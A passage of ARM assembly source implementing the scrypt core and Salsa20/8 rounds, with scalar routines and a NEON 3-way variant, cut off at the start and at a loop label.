defined(__ARM_ARCH_6Z__) || defined(__ARM_ARCH_6ZK__) 19 | #define __ARM_ARCH_5E_OR_6__ 20 | #endif 21 | 22 | #if defined(__ARM_ARCH_5E_OR_6__) || defined(__ARM_ARCH_7__) || \ 23 | defined(__ARM_ARCH_7A__) || defined(__ARM_ARCH_7R__) || \ 24 | defined(__ARM_ARCH_7M__) || defined(__ARM_ARCH_7EM__) 25 | #define __ARM_ARCH_5E_OR_6_OR_7__ 26 | #endif 27 | 28 | #ifdef __ARM_ARCH_5E_OR_6__ 29 | 30 | .macro scrypt_shuffle 31 | add lr, r0, #9*4 32 | ldmia r0, {r2-r7} 33 | ldmia lr, {r2, r8-r12, lr} 34 | str r3, [r0, #5*4] 35 | str r5, [r0, #15*4] 36 | str r6, [r0, #12*4] 37 | str r7, [r0, #1*4] 38 | ldr r5, [r0, #7*4] 39 | str r2, [r0, #13*4] 40 | str r8, [r0, #2*4] 41 | strd r4, [r0, #10*4] 42 | str r9, [r0, #7*4] 43 | str r10, [r0, #4*4] 44 | str r11, [r0, #9*4] 45 | str lr, [r0, #3*4] 46 | 47 | add r2, r0, #64+0*4 48 | add lr, r0, #64+9*4 49 | ldmia r2, {r2-r7} 50 | ldmia lr, {r2, r8-r12, lr} 51 | str r3, [r0, #64+5*4] 52 | str r5, [r0, #64+15*4] 53 | str r6, [r0, #64+12*4] 54 | str r7, [r0, #64+1*4] 55 | ldr r5, [r0, #64+7*4] 56 | str r2, [r0, #64+13*4] 57 | str r8, [r0, #64+2*4] 58 | strd r4, [r0, #64+10*4] 59 | str r9, [r0, #64+7*4] 60 | str r10, [r0, #64+4*4] 61 | str r11, [r0, #64+9*4] 62 | str lr, [r0, #64+3*4] 63 | .endm 64 | 65 | .macro salsa8_core_doubleround_body 66 | add r6, r2, r6 67 | add r7, r3, r7 68 | eor r10, r10, r6, ror #25 69 | add r6, r0, r4 70 | eor r11, r11, r7, ror #25 71 | add r7, r1, r5 72 | strd r10, [sp, #14*4] 73 | eor r12, r12, r6, ror #25 74 | eor lr, lr, r7, ror #25 75 | 76 | ldrd r6, [sp, #10*4] 77 | add r2, r10, r2 78 | add r3, r11, r3 79 | eor r6, r6, r2, ror #23 80 | add r2, r12, r0 81 | eor r7, r7, r3, ror #23 82 | add r3, lr, r1 83 | strd r6, [sp, #10*4] 84 | eor r8, r8, r2, ror #23 85 | eor r9, r9, r3, ror #23 86 | 87 | ldrd r2, [sp, #6*4] 88 | add r10, r6, r10 89 | add r11, r7, r11 90 | eor r2, r2, r10, ror #19 91 | add r10, r8, r12 92 | eor r3, r3, r11, ror #19 93 | add r11, r9, lr 94 | eor r4, r4, r10, ror #19 95 | eor r5, r5, r11, ror #19 96 | 97 | ldrd r10, [sp, #2*4] 98 | add r6, r2, r6 99 | add r7, r3, r7 100 | eor r10, r10, r6, ror #14 101 | add r6, r4, r8 102 | eor r11, r11, r7, ror #14 103 | add r7, r5, r9 104 | eor r0, r0, r6, ror #14 105 | eor r1, r1, r7, ror #14 106 | 107 | 108 | ldrd r6, [sp, #14*4] 109 | strd r2, [sp, #6*4] 110 | strd r10, [sp, #2*4] 111 | add r6, r11, r6 112 | add r7, r0, r7 113 | eor r4, r4, r6, ror #25 114 | add r6, r1, r12 115 | eor r5, r5, r7, ror #25 116 | add r7, r10, lr 117 | eor r2, r2, r6, ror #25 118 | eor r3, r3, r7, ror #25 119 | strd r2, [sp, #6*4] 120 | 121 | add r10, r3, r10 122 | ldrd r6, [sp, #10*4] 123 | add r11, r4, r11 124 | eor r8, r8, r10, ror #23 125 | add r10, r5, r0 126 | eor r9, r9, r11, ror #23 127 | add r11, r2, r1 128 | eor r6, r6, r10, ror #23 129 | eor r7, r7, r11, ror #23 130 | strd r6, [sp, #10*4] 131 | 132 | add r2, r7, r2 133 | ldrd r10, [sp, #14*4] 134 | add r3, r8, r3 135 | eor r12, r12, r2, ror #19 136 | add r2, r9, r4 137 | eor lr, lr, r3, ror #19 138 | add r3, r6, r5 139 | eor r10, r10, r2, ror #19 140 | eor r11, r11, r3, ror #19 141 | 142 | ldrd r2, [sp, #2*4] 143 | add r6, r11, r6 144 | add r7, r12, r7 145 | eor r0, r0, r6, ror #14 146 | add r6, lr, r8 147 | eor r1, r1, r7, ror #14 148 | add r7, r10, r9 149 | eor r2, r2, r6, ror #14 150 | eor r3, r3, r7, ror #14 151 | .endm 152 | 153 | .macro salsa8_core 154 | ldmia sp, {r0-r12, lr} 155 | 156 | ldrd r10, [sp, #14*4] 157 | salsa8_core_doubleround_body 158 | ldrd r6, [sp, #6*4] 159 | strd r2, [sp, #2*4] 160 | strd r10, [sp, #14*4] 161 | salsa8_core_doubleround_body 162 | ldrd r6, [sp, #6*4] 163 | strd r2, [sp, #2*4] 164 | strd r10, [sp, #14*4] 165 | salsa8_core_doubleround_body 166 | ldrd r6, [sp, #6*4] 167 | strd r2, [sp, #2*4] 168 | strd r10, [sp, #14*4] 169 | salsa8_core_doubleround_body 170 | 171 | stmia sp, {r0-r5} 172 | strd r8, [sp, #8*4] 173 | str r12, [sp, #12*4] 174 | str lr, [sp, #13*4] 175 | strd r10, [sp, #14*4] 176 | .endm 177 | 178 | #else 179 | 180 | .macro scrypt_shuffle 181 | .endm 182 | 183 | .macro salsa8_core_doubleround_body 184 | ldr r8, [sp, #8*4] 185 | add r11, r11, r10 186 | ldr lr, [sp, #13*4] 187 | add r12, r12, r3 188 | eor r2, r2, r11, ror #23 189 | add r11, r4, r0 190 | eor r7, r7, r12, ror #23 191 | add r12, r9, r5 192 | str r9, [sp, #9*4] 193 | eor r8, r8, r11, ror #23 194 | str r10, [sp, #14*4] 195 | eor lr, lr, r12, ror #23 196 | 197 | ldr r11, [sp, #11*4] 198 | add r9, lr, r9 199 | ldr r12, [sp, #12*4] 200 | add r10, r2, r10 201 | eor r1, r1, r9, ror #19 202 | add r9, r7, r3 203 | eor r6, r6, r10, ror #19 204 | add r10, r8, r4 205 | str r8, [sp, #8*4] 206 | eor r11, r11, r9, ror #19 207 | str lr, [sp, #13*4] 208 | eor r12, r12, r10, ror #19 209 | 210 | ldr r9, [sp, #10*4] 211 | add r8, r12, r8 212 | ldr r10, [sp, #15*4] 213 | add lr, r1, lr 214 | eor r0, r0, r8, ror #14 215 | add r8, r6, r2 216 | eor r5, r5, lr, ror #14 217 | add lr, r11, r7 218 | eor r9, r9, r8, ror #14 219 | ldr r8, [sp, #9*4] 220 | eor r10, r10, lr, ror #14 221 | ldr lr, [sp, #14*4] 222 | 223 | 224 | add r8, r9, r8 225 | str r9, [sp, #10*4] 226 | add lr, r10, lr 227 | str r10, [sp, #15*4] 228 | eor r11, r11, r8, ror #25 229 | add r8, r0, r3 230 | eor r12, r12, lr, ror #25 231 | add lr, r5, r4 232 | eor r1, r1, r8, ror #25 233 | ldr r8, [sp, #8*4] 234 | eor r6, r6, lr, ror #25 235 | 236 | add r9, r11, r9 237 | ldr lr, [sp, #13*4] 238 | add r10, r12, r10 239 | eor r8, r8, r9, ror #23 240 | add r9, r1, r0 241 | eor lr, lr, r10, ror #23 242 | add r10, r6, r5 243 | str r11, [sp, #11*4] 244 | eor r2, r2, r9, ror #23 245 | str r12, [sp, #12*4] 246 | eor r7, r7, r10, ror #23 247 | 248 | ldr r9, [sp, #9*4] 249 | add r11, r8, r11 250 | ldr r10, [sp, #14*4] 251 | add r12, lr, r12 252 | eor r9, r9, r11, ror #19 253 | add r11, r2, r1 254 | eor r10, r10, r12, ror #19 255 | add r12, r7, r6 256 | str r8, [sp, #8*4] 257 | eor r3, r3, r11, ror #19 258 | str lr, [sp, #13*4] 259 | eor r4, r4, r12, ror #19 260 | .endm 261 | 262 | .macro salsa8_core 263 | ldmia sp, {r0-r7} 264 | 265 | ldr r12, [sp, #15*4] 266 | ldr r8, [sp, #11*4] 267 | ldr lr, [sp, #12*4] 268 | 269 | ldr r9, [sp, #9*4] 270 | add r8, r8, r12 271 | ldr r11, [sp, #10*4] 272 | add lr, lr, r0 273 | eor r3, r3, r8, ror #25 274 | add r8, r5, r1 275 | ldr r10, [sp, #14*4] 276 | eor r4, r4, lr, ror #25 277 | add lr, r11, r6 278 | eor r9, r9, r8, ror #25 279 | eor r10, r10, lr, ror #25 280 | 281 | salsa8_core_doubleround_body 282 | 283 | ldr r11, [sp, #10*4] 284 | add r8, r9, r8 285 | ldr r12, [sp, #15*4] 286 | add lr, r10, lr 287 | eor r11, r11, r8, ror #14 288 | add r8, r3, r2 289 | eor r12, r12, lr, ror #14 290 | add lr, r4, r7 291 | eor r0, r0, r8, ror #14 292 | ldr r8, [sp, #11*4] 293 | eor r5, r5, lr, ror #14 294 | ldr lr, [sp, #12*4] 295 | 296 | add r8, r8, r12 297 | str r11, [sp, #10*4] 298 | add lr, lr, r0 299 | str r12, [sp, #15*4] 300 | eor r3, r3, r8, ror #25 301 | add r8, r5, r1 302 | eor r4, r4, lr, ror #25 303 | add lr, r11, r6 304 | str r9, [sp, #9*4] 305 | eor r9, r9, r8, ror #25 306 | str r10, [sp, #14*4] 307 | eor r10, r10, lr, ror #25 308 | 309 | salsa8_core_doubleround_body 310 | 311 | ldr r11, [sp, #10*4] 312 | add r8, r9, r8 313 | ldr r12, [sp, #15*4] 314 | add lr, r10, lr 315 | eor r11, r11, r8, ror #14 316 | add r8, r3, r2 317 | eor r12, r12, lr, ror #14 318 | add lr, r4, r7 319 | eor r0, r0, r8, ror #14 320 | ldr r8, [sp, #11*4] 321 | eor r5, r5, lr, ror #14 322 | ldr lr, [sp, #12*4] 323 | 324 | add r8, r8, r12 325 | str r11, [sp, #10*4] 326 | add lr, lr, r0 327 | str r12, [sp, #15*4] 328 | eor r3, r3, r8, ror #25 329 | add r8, r5, r1 330 | eor r4, r4, lr, ror #25 331 | add lr, r11, r6 332 | str r9, [sp, #9*4] 333 | eor r9, r9, r8, ror #25 334 | str r10, [sp, #14*4] 335 | eor r10, r10, lr, ror #25 336 | 337 | salsa8_core_doubleround_body 338 | 339 | ldr r11, [sp, #10*4] 340 | add r8, r9, r8 341 | ldr r12, [sp, #15*4] 342 | add lr, r10, lr 343 | eor r11, r11, r8, ror #14 344 | add r8, r3, r2 345 | eor r12, r12, lr, ror #14 346 | add lr, r4, r7 347 | eor r0, r0, r8, ror #14 348 | ldr r8, [sp, #11*4] 349 | eor r5, r5, lr, ror #14 350 | ldr lr, [sp, #12*4] 351 | 352 | add r8, r8, r12 353 | str r11, [sp, #10*4] 354 | add lr, lr, r0 355 | str r12, [sp, #15*4] 356 | eor r3, r3, r8, ror #25 357 | add r8, r5, r1 358 | eor r4, r4, lr, ror #25 359 | add lr, r11, r6 360 | str r9, [sp, #9*4] 361 | eor r9, r9, r8, ror #25 362 | str r10, [sp, #14*4] 363 | eor r10, r10, lr, ror #25 364 | 365 | salsa8_core_doubleround_body 366 | 367 | ldr r11, [sp, #10*4] 368 | add r8, r9, r8 369 | ldr r12, [sp, #15*4] 370 | add lr, r10, lr 371 | str r9, [sp, #9*4] 372 | eor r11, r11, r8, ror #14 373 | eor r12, r12, lr, ror #14 374 | add r8, r3, r2 375 | str r10, [sp, #14*4] 376 | add lr, r4, r7 377 | str r11, [sp, #10*4] 378 | eor r0, r0, r8, ror #14 379 | str r12, [sp, #15*4] 380 | eor r5, r5, lr, ror #14 381 | 382 | stmia sp, {r0-r7} 383 | .endm 384 | 385 | #endif 386 | 387 | 388 | .macro scrypt_core_macro1a_x4 389 | ldmia r0, {r4-r7} 390 | ldmia lr!, {r8-r11} 391 | stmia r1!, {r4-r7} 392 | stmia r3!, {r8-r11} 393 | eor r4, r4, r8 394 | eor r5, r5, r9 395 | eor r6, r6, r10 396 | eor r7, r7, r11 397 | stmia r0!, {r4-r7} 398 | stmia r12!, {r4-r7} 399 | .endm 400 | 401 | .macro scrypt_core_macro1b_x4 402 | ldmia r3!, {r8-r11} 403 | ldmia r2, {r4-r7} 404 | eor r8, r8, r4 405 | eor r9, r9, r5 406 | eor r10, r10, r6 407 | eor r11, r11, r7 408 | ldmia r0, {r4-r7} 409 | stmia r2!, {r8-r11} 410 | eor r4, r4, r8 411 | eor r5, r5, r9 412 | eor r6, r6, r10 413 | eor r7, r7, r11 414 | ldmia r1!, {r8-r11} 415 | eor r4, r4, r8 416 | eor r5, r5, r9 417 | eor r6, r6, r10 418 | eor r7, r7, r11 419 | stmia r0!, {r4-r7} 420 | stmia r12!, {r4-r7} 421 | .endm 422 | 423 | .macro scrypt_core_macro2_x4 424 | ldmia r12, {r4-r7} 425 | ldmia r0, {r8-r11} 426 | add r4, r4, r8 427 | add r5, r5, r9 428 | add r6, r6, r10 429 | add r7, r7, r11 430 | stmia r0!, {r4-r7} 431 | ldmia r2, {r8-r11} 432 | eor r4, r4, r8 433 | eor r5, r5, r9 434 | eor r6, r6, r10 435 | eor r7, r7, r11 436 | stmia r2!, {r4-r7} 437 | stmia r12!, {r4-r7} 438 | .endm 439 | 440 | .macro scrypt_core_macro3_x4 441 | ldmia r1!, {r4-r7} 442 | ldmia r0, {r8-r11} 443 | add r4, r4, r8 444 | add r5, r5, r9 445 | add r6, r6, r10 446 | add r7, r7, r11 447 | stmia r0!, {r4-r7} 448 | .endm 449 | 450 | .macro scrypt_core_macro3_x6 451 | ldmia r1!, {r2-r7} 452 | ldmia r0, {r8-r12, lr} 453 | add r2, r2, r8 454 | add r3, r3, r9 455 | add r4, r4, r10 456 | add r5, r5, r11 457 | add r6, r6, r12 458 | add r7, r7, lr 459 | stmia r0!, {r2-r7} 460 | .endm 461 | 462 | 463 | .text 464 | .code 32 465 | .align 2 466 | .globl scrypt_core 467 | .globl _scrypt_core 468 | #ifdef __ELF__ 469 | .type scrypt_core, %function 470 | #endif 471 | scrypt_core: 472 | _scrypt_core: 473 | stmfd sp!, {r4-r11, lr} 474 | mov r12, sp 475 | sub sp, sp, #22*4 476 | bic sp, sp, #63 477 | str r12, [sp, #20*4] 478 | str r2, [sp, #21*4] 479 | 480 | scrypt_shuffle 481 | 482 | ldr r2, [sp, #21*4] 483 | str r0, [sp, #16*4] 484 | add r12, r1, r2, lsl #7 485 | str r12, [sp, #18*4] 486 | scrypt_core_loop1: 487 | add lr, r0, #16*4 488 | add r3, r1, #16*4 489 | mov r12, sp 490 | scrypt_core_macro1a_x4 491 | scrypt_core_macro1a_x4 492 | scrypt_core_macro1a_x4 493 | scrypt_core_macro1a_x4 494 | str r1, [sp, #17*4] 495 | 496 | salsa8_core 497 | 498 | ldr r0, [sp, #16*4] 499 | mov r12, sp 500 | add r2, r0, #16*4 501 | scrypt_core_macro2_x4 502 | scrypt_core_macro2_x4 503 | scrypt_core_macro2_x4 504 | scrypt_core_macro2_x4 505 | 506 | salsa8_core 507 | 508 | ldr r0, [sp, #16*4] 509 | mov r1, sp 510 | add r0, r0, #16*4 511 | scrypt_core_macro3_x6 512 | scrypt_core_macro3_x6 513 | ldr r3, [sp, #17*4] 514 | ldr r12, [sp, #18*4] 515 | scrypt_core_macro3_x4 516 | 517 | add r1, r3, #16*4 518 | sub r0, r0, #32*4 519 | cmp r1, r12 520 | bne scrypt_core_loop1 521 | 522 | ldr r12, [sp, #21*4] 523 | ldr r4, [r0, #16*4] 524 | sub r2, r12, #1 525 | str r2, [sp, #21*4] 526 | sub r1, r1, r12, lsl #7 527 | str r1, [sp, #17*4] 528 | and r4, r4, r2 529 | add r1, r1, r4, lsl #7 530 | scrypt_core_loop2: 531 | add r2, r0, #16*4 532 | add r3, r1, #16*4 533 | str r12, [sp, #18*4] 534 | mov r12, sp 535 | #ifdef __ARM_ARCH_5E_OR_6_OR_7__ 536 | pld [r1, #24*4] 537 | pld [r1, #8*4] 538 | #endif 539 | scrypt_core_macro1b_x4 540 | scrypt_core_macro1b_x4 541 | scrypt_core_macro1b_x4 542 | scrypt_core_macro1b_x4 543 | 544 | salsa8_core 545 | 546 | ldr r0, [sp, #16*4] 547 | mov r12, sp 548 | add r2, r0, #16*4 549 | scrypt_core_macro2_x4 550 | scrypt_core_macro2_x4 551 | scrypt_core_macro2_x4 552 | scrypt_core_macro2_x4 553 | 554 | salsa8_core 555 | 556 | ldr r0, [sp, #16*4] 557 | mov r1, sp 558 | ldr r3, [sp, #17*4] 559 | add r0, r0, #16*4 560 | ldr r2, [sp, #21*4] 561 | scrypt_core_macro3_x4 562 | and r4, r4, r2 563 | add r3, r3, r4, lsl #7 564 | str r3, [sp, #19*4] 565 | #ifdef __ARM_ARCH_5E_OR_6_OR_7__ 566 | pld [r3, #16*4] 567 | pld [r3] 568 | #endif 569 | scrypt_core_macro3_x6 570 | scrypt_core_macro3_x6 571 | 572 | ldr r12, [sp, #18*4] 573 | sub r0, r0, #32*4 574 | ldr r1, [sp, #19*4] 575 | subs r12, r12, #1 576 | bne scrypt_core_loop2 577 | 578 | scrypt_shuffle 579 | 580 | ldr sp, [sp, #20*4] 581 | #ifdef __thumb__ 582 | ldmfd sp!, {r4-r11, lr} 583 | bx lr 584 | #else 585 | ldmfd sp!, {r4-r11, pc} 586 | #endif 587 | 588 | 589 | #ifdef __ARM_NEON__ 590 | 591 | .macro salsa8_core_3way_doubleround 592 | ldrd r6, [sp, #6*4] 593 | vadd.u32 q4, q0, q1 594 | add r6, r2, r6 595 | vadd.u32 q6, q8, q9 596 | add r7, r3, r7 597 | vshl.u32 q5, q4, #7 598 | eor r10, r10, r6, ror #25 599 | vshl.u32 q7, q6, #7 600 | add r6, r0, r4 601 | vshr.u32 q4, q4, #32-7 602 | eor r11, r11, r7, ror #25 603 | vshr.u32 q6, q6, #32-7 604 | add r7, r1, r5 605 | veor.u32 q3, q3, q5 606 | strd r10, [sp, #14*4] 607 | veor.u32 q11, q11, q7 608 | eor r12, r12, r6, ror #25 609 | veor.u32 q3, q3, q4 610 | eor lr, lr, r7, ror #25 611 | veor.u32 q11, q11, q6 612 | 613 | ldrd r6, [sp, #10*4] 614 | vadd.u32 q4, q3, q0 615 | add r2, r10, r2 616 | vadd.u32 q6, q11, q8 617 | add r3, r11, r3 618 | vshl.u32 q5, q4, #9 619 | eor r6, r6, r2, ror #23 620 | vshl.u32 q7, q6, #9 621 | add r2, r12, r0 622 | vshr.u32 q4, q4, #32-9 623 | eor r7, r7, r3, ror #23 624 | vshr.u32 q6, q6, #32-9 625 | add r3, lr, r1 626 | veor.u32 q2, q2, q5 627 | strd r6, [sp, #10*4] 628 | veor.u32 q10, q10, q7 629 | eor r8, r8, r2, ror #23 630 | veor.u32 q2, q2, q4 631 | eor r9, r9, r3, ror #23 632 | veor.u32 q10, q10, q6 633 | 634 | ldrd r2, [sp, #6*4] 635 | vadd.u32 q4, q2, q3 636 | add r10, r6, r10 637 | vadd.u32 q6, q10, q11 638 | add r11, r7, r11 639 | vext.u32 q3, q3, q3, #3 640 | eor r2, r2, r10, ror #19 641 | vshl.u32 q5, q4, #13 642 | add r10, r8, r12 643 | vext.u32 q11, q11, q11, #3 644 | eor r3, r3, r11, ror #19 645 | vshl.u32 q7, q6, #13 646 | add r11, r9, lr 647 | vshr.u32 q4, q4, #32-13 648 | eor r4, r4, r10, ror #19 649 | vshr.u32 q6, q6, #32-13 650 | eor r5, r5, r11, ror #19 651 | veor.u32 q1, q1, q5 652 | veor.u32 q9, q9, q7 653 | veor.u32 q1, q1, q4 654 | veor.u32 q9, q9, q6 655 | 656 | ldrd r10, [sp, #2*4] 657 | vadd.u32 q4, q1, q2 658 | add r6, r2, r6 659 | vadd.u32 q6, q9, q10 660 | add r7, r3, r7 661 | vswp.u32 d4, d5 662 | eor r10, r10, r6, ror #14 663 | vshl.u32 q5, q4, #18 664 | add r6, r4, r8 665 | vswp.u32 d20, d21 666 | eor r11, r11, r7, ror #14 667 | vshl.u32 q7, q6, #18 668 | add r7, r5, r9 669 | vshr.u32 q4, q4, #32-18 670 | eor r0, r0, r6, ror #14 671 | vshr.u32 q6, q6, #32-18 672 | eor r1, r1, r7, ror #14 673 | veor.u32 q0, q0, q5 674 | ldrd r6, [sp, #14*4] 675 | veor.u32 q8, q8, q7 676 | veor.u32 q0, q0, q4 677 | veor.u32 q8, q8, q6 678 | 679 | 680 | strd r2, [sp, #6*4] 681 | vadd.u32 q4, q0, q3 682 | strd r10, [sp, #2*4] 683 | vadd.u32 q6, q8, q11 684 | add r6, r11, r6 685 | vext.u32 q1, q1, q1, #1 686 | add r7, r0, r7 687 | vshl.u32 q5, q4, #7 688 | eor r4, r4, r6, ror #25 689 | vext.u32 q9, q9, q9, #1 690 | add r6, r1, r12 691 | vshl.u32 q7, q6, #7 692 | eor r5, r5, r7, ror #25 693 | vshr.u32 q4, q4, #32-7 694 | add r7, r10, lr 695 | vshr.u32 q6, q6, #32-7 696 | eor r2, r2, r6, ror #25 697 | veor.u32 q1, q1, q5 698 | eor r3, r3, r7, ror #25 699 | veor.u32 q9, q9, q7 700 | strd r2, [sp, #6*4] 701 | veor.u32 q1, q1, q4 702 | veor.u32 q9, q9, q6 703 | 704 | add r10, r3, r10 705 | vadd.u32 q4, q1, q0 706 | ldrd r6, [sp, #10*4] 707 | vadd.u32 q6, q9, q8 708 | add r11, r4, r11 709 | vshl.u32 q5, q4, #9 710 | eor r8, r8, r10, ror #23 711 | vshl.u32 q7, q6, #9 712 | add r10, r5, r0 713 | vshr.u32 q4, q4, #32-9 714 | eor r9, r9, r11, ror #23 715 | vshr.u32 q6, q6, #32-9 716 | add r11, r2, r1 717 | veor.u32 q2, q2, q5 718 | eor r6, r6, r10, ror #23 719 | veor.u32 q10, q10, q7 720 | eor r7, r7, r11, ror #23 721 | veor.u32 q2, q2, q4 722 | strd r6, [sp, #10*4] 723 | veor.u32 q10, q10, q6 724 | 725 | add r2, r7, r2 726 | vadd.u32 q4, q2, q1 727 | ldrd r10, [sp, #14*4] 728 | vadd.u32 q6, q10, q9 729 | add r3, r8, r3 730 | vext.u32 q1, q1, q1, #3 731 | eor r12, r12, r2, ror #19 732 | vshl.u32 q5, q4, #13 733 | add r2, r9, r4 734 | vext.u32 q9, q9, q9, #3 735 | eor lr, lr, r3, ror #19 736 | vshl.u32 q7, q6, #13 737 | add r3, r6, r5 738 | vshr.u32 q4, q4, #32-13 739 | eor r10, r10, r2, ror #19 740 | vshr.u32 q6, q6, #32-13 741 | eor r11, r11, r3, ror #19 742 | veor.u32 q3, q3, q5 743 | veor.u32 q11, q11, q7 744 | veor.u32 q3, q3, q4 745 | veor.u32 q11, q11, q6 746 | 747 | ldrd r2, [sp, #2*4] 748 | vadd.u32 q4, q3, q2 749 | add r6, r11, r6 750 | vadd.u32 q6, q11, q10 751 | add r7, r12, r7 752 | vswp.u32 d4, d5 753 | eor r0, r0, r6, ror #14 754 | vshl.u32 q5, q4, #18 755 | add r6, lr, r8 756 | vswp.u32 d20, d21 757 | eor r1, r1, r7, ror #14 758 | vshl.u32 q7, q6, #18 759 | add r7, r10, r9 760 | vext.u32 q3, q3, q3, #1 761 | eor r2, r2, r6, ror #14 762 | vshr.u32 q4, q4, #32-18 763 | eor r3, r3, r7, ror #14 764 | vshr.u32 q6, q6, #32-18 765 | strd r2, [sp, #2*4] 766 | vext.u32 q11, q11, q11, #1 767 | strd r10, [sp, #14*4] 768 | veor.u32 q0, q0, q5 769 | veor.u32 q8, q8, q7 770 | veor.u32 q0, q0, q4 771 | veor.u32 q8, q8, q6 772 | .endm 773 | 774 | .macro salsa8_core_3way 775 | ldmia sp, {r0-r12, lr} 776 | ldrd r10, [sp, #14*4] 777 | salsa8_core_3way_doubleround 778 | salsa8_core_3way_doubleround 779 | salsa8_core_3way_doubleround 780 | salsa8_core_3way_doubleround 781 | stmia sp, {r0-r5} 782 | strd r8, [sp, #8*4] 783 | str r12, [sp, #12*4] 784 | str lr, [sp, #13*4] 785 | .endm 786 | 787 | .text 788 | .code 32 789 | .align 2 790 | .globl scrypt_core_3way 791 | .globl _scrypt_core_3way 792 | #ifdef __ELF__ 793 | .type scrypt_core_3way, %function 794 | #endif 795 | scrypt_core_3way: 796 | _scrypt_core_3way: 797 | stmfd sp!, {r4-r11, lr} 798 | vpush {q4-q7} 799 | mov r12, sp 800 | sub sp, sp, #24*16 801 | bic sp, sp, #63 802 | str r2, [sp, #4*16+3*4] 803 | str r12, [sp, #4*16+4*4] 804 | 805 | mov r3, r0 806 | vldmia r3!, {q8-q15} 807 | vmov.u64 q0, #0xffffffff 808 | vmov.u32 q1, q8 809 | vmov.u32 q2, q12 810 | vbif.u32 q8, q9, q0 811 | vbif.u32 q12, q13, q0 812 | vbif.u32 q9, q10, q0 813 | vbif.u32 q13, q14, q0 814 | vbif.u32 q10, q11, q0 815 | vbif.u32 q14, q15, q0 816 | vbif.u32 q11, q1, q0 817 | vbif.u32 q15, q2, q0 818 | vldmia r3!, {q0-q7} 819 | vswp.u32 d17, d21 820 | vswp.u32 d25, d29 821 | vswp.u32 d18, d22 822 | vswp.u32 d26, d30 823 | vstmia r0, {q8-q15} 824 | vmov.u64 q8, #0xffffffff 825 | vmov.u32 q9, q0 826 | vmov.u32 q10, q4 827 | vbif.u32 q0, q1, q8 828 | vbif.u32 q4, q5, q8 829 | vbif.u32 q1, q2, q8 830 | vbif.u32 q5, q6, q8 831 | vbif.u32 q2, q3, q8 832 | vbif.u32 q6, q7, q8 833 | vbif.u32 q3, q9, q8 834 | vbif.u32 q7, q10, q8 835 | vldmia r3, {q8-q15} 836 | vswp.u32 d1, d5 837 | vswp.u32 d9, d13 838 | vswp.u32 d2, d6 839 | vswp.u32 d10, d14 840 | add r12, sp, #8*16 841 | vstmia r12!, {q0-q7} 842 | vmov.u64 q0, #0xffffffff 843 | vmov.u32 q1, q8 844 | vmov.u32 q2, q12 845 | vbif.u32 q8, q9, q0 846 | vbif.u32 q12, q13, q0 847 | vbif.u32 q9, q10, q0 848 | vbif.u32 q13, q14, q0 849 | vbif.u32 q10, q11, q0 850 | vbif.u32 q14, q15, q0 851 | vbif.u32 q11, q1, q0 852 | vbif.u32 q15, q2, q0 853 | vswp.u32 d17, d21 854 | vswp.u32 d25, d29 855 | vswp.u32 d18, d22 856 | vswp.u32 d26, d30 857 | vstmia r12, {q8-q15} 858 | 859 | add lr, sp, #128 860 | vldmia lr, {q0-q7} 861 | add r2, r1, r2, lsl #7 862 | str r0, [sp, #4*16+0*4] 863 | str r2, [sp, #4*16+2*4] 864 | scrypt_core_3way_loop1: 865 | add lr, r0, #16*4 866 | add r3, r1, #16*4 867 | str r1, [sp, #4*16+1*4] 868 | mov r12, sp 869 | scrypt_core_macro1a_x4 870 | scrypt_core_macro1a_x4 871 | scrypt_core_macro1a_x4 872 | ldr r2, [sp, #4*16+3*4] 873 | scrypt_core_macro1a_x4 874 | sub r1, r1, #4*16 875 | 876 | add r1, r1, r2, lsl #7 877 | vstmia r1, {q0-q7} 878 | add r3, r1, r2, lsl #7 879 | vstmia r3, {q8-q15} 880 | 881 | add lr, sp, #128 882 | veor.u32 q0, q0, q4 883 | veor.u32 q1, q1, q5 884 | veor.u32 q2, q2, q6 885 | veor.u32 q3, q3, q7 886 | vstmia lr, {q0-q3} 887 | veor.u32 q8, q8, q12 888 | veor.u32 q9, q9, q13 889 | veor.u32 q10, q10, q14 890 | veor.u32 q11, q11, q15 891 | add r12, sp, #256 892 | vstmia r12, {q8-q11} 893 | 894 | salsa8_core_3way 895 | 896 | ldr r0, [sp, #4*16+0*4] 897 | mov r12, sp 898 | add r2, r0, #16*4 899 | scrypt_core_macro2_x4 900 | scrypt_core_macro2_x4 901 | scrypt_core_macro2_x4 902 | scrypt_core_macro2_x4 903 | 904 | add lr, sp, #128 905 | vldmia lr, {q4-q7} 906 | vadd.u32 q4, q4, q0 907 | vadd.u32 q5, q5, q1 908 | vadd.u32 q6, q6, q2 909 | vadd.u32 q7, q7, q3 910 | add r12, sp, #256 911 | vldmia r12, {q0-q3} 912 | vstmia lr, {q4-q7} 913 | vadd.u32 q8, q8, q0 914 | vadd.u32 q9, q9, q1 915 | vadd.u32 q10, q10, q2 916 | vadd.u32 q11, q11, q3 917 | 918 | add r4, sp, #128+4*16 919 | vldmia r4, {q0-q3} 920 | vstmia r12, {q8-q11} 921 | veor.u32 q0, q0, q4 922 | veor.u32 q1, q1, q5 923 | veor.u32 q2, q2, q6 924 | veor.u32 q3, q3, q7 925 | vstmia r4, {q0-q3} 926 | veor.u32 q8, q8, q12 927 | veor.u32 q9, q9, q13 928 | veor.u32 q10, q10, q14 929 | veor.u32 q11, q11, q15 930 | vmov q12, q8 931 | vmov q13, q9 932 | vmov q14, q10 933 | vmov q15, q11 934 | 935 | salsa8_core_3way 936 | 937 | ldr r0, [sp, #4*16+0*4] 938 | mov r1, sp 939 | add r0, r0, #16*4 940 | scrypt_core_macro3_x6 941 | scrypt_core_macro3_x6 942 | scrypt_core_macro3_x4 943 | sub r0, r0, #8*16 944 | 945 | ldr r1, [sp, #4*16+1*4] 946 | ldr r2, [sp, #4*16+2*4] 947 | add lr, sp, #128 948 | add r4, sp, #128+4*16 949 | vldmia r4, {q4-q7} 950 | vadd.u32 q4, q4, q0 951 | vadd.u32 q5, q5, q1 952 | vadd.u32 q6, q6, q2 953 | vadd.u32 q7, q7, q3 954 | vstmia r4, {q4-q7} 955 | vldmia lr, {q0-q3} 956 | vadd.u32 q12, q12, q8 957 | vadd.u32 q13, q13, q9 958 | vadd.u32 q14, q14, q10 959 | vadd.u32 q15, q15, q11 960 | add r12, sp, #256 961 | vldmia r12, {q8-q11} 962 | 963 | add r1, r1, #8*16 964 | cmp r1, r2 965 | bne scrypt_core_3way_loop1 966 | 967 | ldr r2, [sp, #4*16+3*4] 968 | add r5, sp, #256+4*16 969 | vstmia r5, {q12-q15} 970 | 971 | sub r1, r1, r2, lsl #7 972 | str r1, [sp, #4*16+1*4] 973 | scrypt_core_3way_loop2: 974 